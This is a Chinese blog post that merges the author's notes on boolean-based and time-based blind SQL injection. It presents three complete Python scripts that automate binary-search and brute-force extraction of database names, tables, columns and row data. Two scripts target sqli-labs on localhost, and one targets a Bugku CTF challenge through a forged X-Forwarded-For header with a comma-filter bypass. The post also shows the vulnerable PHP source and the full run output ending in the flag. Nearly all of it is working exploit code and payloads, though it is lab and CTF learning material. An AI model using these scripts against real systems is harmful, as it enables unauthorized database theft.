布尔盲注,时间盲注整合

之前写了两篇布尔盲注和时间盲注的博客,但是部分地方有些缺陷,所以又整合了一下
写了一天脚本,幸好有刚换的新键盘。。。

布尔盲注

通过sqli-lab写的脚本
直接放脚本吧,逻辑不难

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import requests

url = 'http://localhost/Less-8/?id=1'
s = requests.session()
flag = 'You are in'

select_DB = 'select database()'
select_table = "select table_name from information_schema.tables where table_schema='{0}' limit {1},1"
select_column = "select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1"
select_data = 'select {0} from {1} limit {2},1'

select_table_count = "'and (select count(table_name) from information_schema.tables where table_schema='{0}')>={1}--+"
select_table_name_length = "'and (select length(table_name) from information_schema.tables where table_schema='{0}' limit "
select_table_name_length2 = ",1)>={1}--+"

select_column_count_payload = "'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')>={1} --+"
data_count_payload = "'and (select count(*) from {0})>={1} --+"

guess_length_payload = "' and length(({0}))>={1} --+"
guess_ascii_payload = "' and ascii(substr(({0}),{1},1))>={2} --+"

#根据页面返回的结果猜测长度
#payload:猜测使用的payload;target:猜测的对象;length:猜测的长度
def guess_length(payload, target, length):
furl = url + payload.format(target,length)
res = s.get(furl)
if flag in res.text:
return True
else:
return False

#利用二分法查找长度
def get_length(payload,target):
left = 0
right = 0
guess = 10
#确定长度上限
while 1:
if guess_length(payload, target, guess) == True:
guess = guess + 5
else:
right = guess
break
#二分法确定长度
mid = (left + right)/2
while left < right - 1:
# 如果长度大于等于mid
if guess_length(payload, target, mid) == True:
# 更新长度的左边界为mid
left = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
right = mid
# 更新中值
mid = round((left + right) / 2)
# print(left, right)
# 因为Left当长度大于等于mid时更新为mid,而right是当长度小于mid时更新为mid
# 所以长度区间:大于等于 left,小于right
# 而循环条件是 left < right - 1,退出循环,left就是所求长度
# 如循环到最后一步 left = 8, right = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return left

#猜测名称
#万恶的Python3,还得注意四舍五入(因为我们比较ascii的时候是大于等于,所以四舍五入是合理的),Python2就不需要(似乎精度变高了应该是个好事?)
def guess_name(payload, target, position, ascii):
furl = url + payload.format(target,position,ascii)
res = s.get(furl)
if flag in res.text:
return True
else:
return False
def get_name(payload, target, length):
tmp = ''
for i in range(1,length+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right -1:
if guess_name(payload, target, i, mid) ==True:
left = mid
mid = round((left + right) / 2)
else:
right = mid
mid = round((left + right) / 2)
tmp += chr(round(left))
return tmp





def main():

#查询数据库的名称长度和名称
DB_length = get_length(guess_length_payload, select_DB)
print('数据库的长度为:',str(DB_length))
print('------正在获取数据库的名称------')
DB_name = get_name(guess_ascii_payload, select_DB, DB_length)
print('数据库的名称为:',str(DB_name))

#获取数据库中表的个数
print('------正在获取数据库中表的个数------')
table_count = get_length(select_table_count, DB_name)
print('表的个数为:',table_count)

#获取数据库的表的详细信息
for i in range(0,table_count):
print(f'正在获取第{i}个表')
num = str(i)
#获取该表名长度
table_name_length_payload = select_table_name_length + num + select_table_name_length2
table_name_length = get_length(table_name_length_payload, DB_name)
print(f'第{i}个表的长度为:',str(table_name_length))
#获取该表名
select_table_name_payload = select_table.format(DB_name,i)
table_name = []
table_name.append(get_name(guess_ascii_payload, select_table_name_payload, round(table_name_length)))
print(f'第{i}个表的名字为:',table_name)

#若不需要查询全部的表的数据,可以从这里断开,令table_name里只有想要查询的表

for j in table_name:
#获取某个表的列的数量
column_count = get_length(select_column_count_payload, j)
print(f'表{j}{column_count}个列')
#获取某个表有多少行数据
data_count = get_length(data_count_payload, j)
print(f'表{j}{data_count}行数据')
#获取表中某列

for k in range(0,column_count):
#获取某列名长度
select_column_name_length_payload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DB_name +"' and table_name='{0}' limit "+ str(k) +",1)>={1} --+"
column_name_length = get_length(select_column_name_length_payload, j)
print(f'列名长度为{column_name_length}')
#获取某列名
select_column_name_payload = select_column.format(DB_name,j,k)
column_name = get_name(guess_ascii_payload, select_column_name_payload, column_name_length)
print('列名为:',column_name)
data = []
tmp_data = []
tmp_data.append(column_name)
#获取详细数据
for l in range(0,data_count):
column_data_length_payload = "'and (select length("+ column_name +") from {0} limit " + str(l) + ",1)>={1} --+"
column_data_length = get_length(column_data_length_payload, j)
select_data_payload = select_data.format(column_name,j,l)
column_data = get_name(guess_ascii_payload, select_data_payload, round(column_data_length))
tmp_data.append(column_data)
data.append(tmp_data)
tmp = ''
for i in range(0,len(data)):
tmp += data[i][0] + ' '
print('列名为:',tmp)
for j in range(1,data_count+1):
tmp = ''
for i in range(0,len(data)):
tmp += data[i][j] + ' '
print(tmp)

main()

时间盲注

什么是时间盲注?
时间盲注详解
这里有两个脚本,一个是做sqli-lab时写的,用的if之类的函数,用的二分法,什么都没有过滤,爆表名列名的时候是一个一个爆的,没用group_concat一下全爆出来,效率偏低,但是很详细
第二个是做bugku的时候写的,bugku的题过滤了逗号,所以不能用if和limit和substr(,,)了,故第二个脚本改用了from…for…,在爆名称的时候放弃了二分法,用了group_concat一次性爆出了全部数据。

第一个脚本


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import requests

url = 'http://127.0.0.1/Less-9/?id=1'
s = requests.session()
select_DB = 'select database()'
select_table = "select table_name from information_schema.tables where table_schema='{0}' limit {1},1"
select_column = "select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1"
select_data = 'select {0} from {1} limit {2},1'

select_table_count = "'and if((select count(table_name) from information_schema.tables where table_schema='{0}')>={1},sleep(5),NULL);--+"
select_table_name_length = "'and if((select length(table_name) from information_schema.tables where table_schema='{0}' limit "
select_table_name_length2 = ",1)>={1},sleep(5),NULL);--+"

select_column_count_payload = "'and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')>={1},sleep(5),NULL); --+"
data_count_payload = "'and if((select count(*) from {0})>={1},sleep(5),NULL); --+"

guess_length_payload = "' and if(length(({0}))>={1},sleep(5),NULL); --+"
guess_ascii_payload = "' and if(ascii(substr(({0}),{1},1))>={2},sleep(5),NULL); --+"

def guess_length(payload, target, length):
furl = url + payload.format(target,length)
try:
html = s.get(furl,timeout=2)
return False
except:
return True
def get_length(payload,target):
left = 0
right = 0
guess = 10
#确定长度上限
while 1:
if guess_length(payload, target, guess) == True:
guess = guess + 5
else:
right = guess
break
#二分法确定长度
mid = (left + right)/2
while left < right - 1:
# 如果长度大于等于mid
if guess_length(payload, target, mid) == True:
# 更新长度的左边界为mid
left = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
right = mid
# 更新中值
mid = round((left + right) / 2)
# print(left, right)
# 因为Left当长度大于等于mid时更新为mid,而right是当长度小于mid时更新为mid
# 所以长度区间:大于等于 left,小于right
# 而循环条件是 left < right - 1,退出循环,left就是所求长度
# 如循环到最后一步 left = 8, right = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return left

#猜测名称
#万恶的Python3,还得注意四舍五入(因为我们比较ascii的时候是大于等于,所以四舍五入是合理的),Python2就不需要(似乎精度变高了应该是个好事?)
def guess_name(payload, target, position, ascii):
furl = url + payload.format(target,position,ascii)
try:
html = s.get(furl,timeout=2)
return False
except:
return True
def get_name(payload, target, length):
tmp = ''
for i in range(1,length+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right -1:
if guess_name(payload, target, i, mid) ==True:
left = mid
mid = round((left + right) / 2)
else:
right = mid
mid = round((left + right) / 2)
tmp += chr(round(left))
return tmp
def main():

#查询数据库的名称长度和名称
DB_length = get_length(guess_length_payload, select_DB)
print('数据库的长度为:',str(DB_length))
print('------正在获取数据库的名称------')
DB_name = get_name(guess_ascii_payload, select_DB, DB_length)
print('数据库的名称为:',str(DB_name))

#获取数据库中表的个数
print('------正在获取数据库中表的个数------')
table_count = get_length(select_table_count, DB_name)
print('表的个数为:',table_count)

#获取数据库的表的详细信息
for i in range(0,table_count):
print(f'正在获取第{i}个表')
num = str(i)
#获取该表名长度
table_name_length_payload = select_table_name_length + num + select_table_name_length2
table_name_length = get_length(table_name_length_payload, DB_name)
print(f'第{i}个表的长度为:',str(table_name_length))
#获取该表名
select_table_name_payload = select_table.format(DB_name,i)
table_name = []
table_name.append(get_name(guess_ascii_payload, select_table_name_payload, round(table_name_length)))
print(f'第{i}个表的名字为:',table_name)

#若不需要查询全部的表的数据,可以从这里断开,令table_name里只有想要查询的表

for j in table_name:
#获取某个表的列的数量
column_count = get_length(select_column_count_payload, j)
print(f'表{j}{column_count}个列')
#获取某个表有多少行数据
data_count = get_length(data_count_payload, j)
print(f'表{j}{data_count}行数据')
#获取表中某列

for k in range(0,column_count):
#获取某列名长度
select_column_name_length_payload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DB_name +"' and table_name='{0}' limit "+ str(k) +",1)>={1} --+"
column_name_length = get_length(select_column_name_length_payload, j)
print(f'列名长度为{column_name_length}')
#获取某列名
select_column_name_payload = select_column.format(DB_name,j,k)
column_name = get_name(guess_ascii_payload, select_column_name_payload, column_name_length)
print('列名为:',column_name)
data = []
tmp_data = []
tmp_data.append(column_name)
#获取详细数据
for l in range(0,data_count):
column_data_length_payload = "'and (select length("+ column_name +") from {0} limit " + str(l) + ",1)>={1} --+"
column_data_length = get_length(column_data_length_payload, j)
select_data_payload = select_data.format(column_name,j,l)
column_data = get_name(guess_ascii_payload, select_data_payload, round(column_data_length))
tmp_data.append(column_data)
data.append(tmp_data)
tmp = ''
for i in range(0,len(data)):
tmp += data[i][0] + ' '
print('列名为:',tmp)
for j in range(1,data_count+1):
tmp = ''
for i in range(0,len(data)):
tmp += data[i][j] + ' '
print(tmp)

main()

这个脚本本来是想完全自动化,爆出一个数据库里的全部数据的,但是这样没有实际意义,看看就好,实际做题的时候不可能全部爆出来,需要根据爆出的数据调整下一步的payload的


第二个脚本

这个脚本是我在做bugku的一道题INSERT INTO注入时写的
改进了一些地方,二分法在某些情况下并不是快于直接爆破,而且会经常出错,所以放弃了二分法。
先放出题:

INSERT INTO注入

hint中放出了源码

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flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧
<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>

在请求头中利用x-forwarded-for伪造ip进行sql注入
过滤了逗号
利用’+sleep(5));#测试发现可以使用时间盲注
脚本如下

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import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_,'#字典要根据需要及时更改
url = 'http://123.206.87.240:8002/web15/'

#select case when 条件语句 then 语句一 else 语句二 end
payload_db_len = "1'+(select case when (select length(database()))>={0} then sleep(6) else 1 end)+'1"#最后end后一定要加),为了闭合,)后可以为注释或者其他能起到注释作用的东西

#from ... for ...类似于limit ... , ...
payload_db_name = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"

payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA=database())='{0}' then sleep(6) else 1 end)+'1"

#group_concat()可以让所有数据同时输出
payload_tb_name_len = "'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>={0} then sleep(6) else 1 end));#"

payload_tb_name = "1'+(select case when (substr((select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database())from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1"

payload_col_len = "1'+(select case when (select length(group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='flag') = '{0}' then sleep(6) else 1 end)+'1"

payload_col_name = "1'+(select case when (substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='flag') from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1"

payload_flag_len = "1'+(select case when (select length(flag) from flag)>={0} then sleep(6) else 1 end)+'1"

payload_flag_name = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1"

def guess_length(payload, length):
postdata = payload.format(length)
print(postdata)
headers = {"x-forwarded-for":postdata}
try:
html = requests.get(url,headers=headers,timeout=5)
return False
except:
return True

#猜长度仍然用的二分法,这样比较快
def get_length(payload):
left = 0
right = 0
guess = 8
while 1:
if guess_length(payload, guess) == True:
guess = guess + 5
else:
right = guess
break
mid = (left + right)/2
while left < right - 1:
if guess_length(payload, mid) == True:
left = mid
else:
right = mid
mid = round((left + right) / 2)
return left

def guess_name(payload, position, ascii):
postdata = payload.format(position,ascii)
headers = {"x-forwarded-for":postdata}
try:
html = requests.get(url,headers=headers,timeout=5)
return False
except:
return True

#猜名字放弃了二分法
def get_name(payload, length):
tmp = ''
dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_,'
for i in range(1,round(length)+1):
for j in dic:
if guess_name(payload, i, j):
tmp += j
print(tmp)
break
return tmp
db_len = get_length(payload_db_len)
print('数据库名称长度为:',get_name(payload_db_name,db_len))
print('数据库中表的个数为:',get_length(payload_tb_num))

all_tables_len = get_length(payload_tb_name_len)
print('所有表名的长度总共为(包含分割逗号):',all_tables_len)
all_tables_name = get_name(payload_tb_name,all_tables_len)
print('表名为:',all_tables_name)
#查出表名后手动修改上面的payload中有关表名的部分

all_col_len = get_length(payload_col_len)
print('flag表中所有列的长度为:',all_col_len)
all_col_name = get_name(payload_col_name,all_col_len)
print('flag表中所有列的名字为:',all_col_name)
flag_len = get_length(payload_flag_len)
print('flag的长度为:',flag_len)
flag = get_name(payload_flag_name,flag_len)
print("flag为:",flag)

这些是输出

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1'+(select case when (select length(database()))>=8 then sleep(6) else 1 end)+'1
1'+(select case when (select length(database()))>=4.0 then sleep(6) else 1 end)+'1
1'+(select case when (select length(database()))>=6 then sleep(6) else 1 end)+'1
1'+(select case when (select length(database()))>=5 then sleep(6) else 1 end)+'1
w
we
web
web1
web15
数据库名称长度为: web15
1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA=database())='8' then sleep(6) else 1 end)+'1
1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA=database())='4.0' then sleep(6) else 1 end)+'1
1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA=database())='2' then sleep(6) else 1 end)+'1
1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA=database())='3' then sleep(6) else 1 end)+'1
数据库中表的个数为: 2
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=8 then sleep(6) else 1 end));#
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=13 then sleep(6) else 1 end));#
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=18 then sleep(6) else 1 end));#
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=9.0 then sleep(6) else 1 end));#
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=14 then sleep(6) else 1 end));#
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=16 then sleep(6) else 1 end));#
'+(select case when length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=15 then sleep(6) else 1 end));#
所有表名的长度总共为(包含分割逗号): 14
c
cl
cli
clie
clien
client
client_
client_i
client_ip
client_ipf
client_ipfl
client_ipfla
client_ipflag
表名为: client_ipflag
1'+(select case when (select length(group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='flag') = '8' then sleep(6) else 1 end)+'1
1'+(select case when (select length(group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='flag') = '4.0' then sleep(6) else 1 end)+'1
1'+(select case when (select length(group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='flag') = '6' then sleep(6) else 1 end)+'1
1'+(select case when (select length(group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='flag') = '5' then sleep(6) else 1 end)+'1
flag表中所有列的长度为: 4.0
f
fl
fla
flag
flag表中所有列的名字为: flag
1'+(select case when (select length(flag) from flag)>=8 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=13 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=18 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=23 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=28 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=33 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=38 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=19.0 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=28 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=33 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=30 then sleep(6) else 1 end)+'1
1'+(select case when (select length(flag) from flag)>=32 then sleep(6) else 1 end)+'1
flag的长度为: 32
c
cd
cdb
cdbf
cdbf1
cdbf14
cdbf14c
cdbf14c9
cdbf14c95
cdbf14c955
cdbf14c9551
cdbf14c9551d
cdbf14c9551d5
cdbf14c9551d5b
cdbf14c9551d5be
cdbf14c9551d5be5
cdbf14c9551d5be56
cdbf14c9551d5be561
cdbf14c9551d5be5612
cdbf14c9551d5be5612f
cdbf14c9551d5be5612f7
cdbf14c9551d5be5612f7b
cdbf14c9551d5be5612f7bb
cdbf14c9551d5be5612f7bb5
cdbf14c9551d5be5612f7bb5d
cdbf14c9551d5be5612f7bb5d2
cdbf14c9551d5be5612f7bb5d28
cdbf14c9551d5be5612f7bb5d286
cdbf14c9551d5be5612f7bb5d2867
cdbf14c9551d5be5612f7bb5d28678
cdbf14c9551d5be5612f7bb5d286785
cdbf14c9551d5be5612f7bb5d2867853
flag为: cdbf14c9551d5be5612f7bb5d2867853
[Finished in 467.5s]

flag就是flag{cdbf14c9551d5be5612f7bb5d2867853}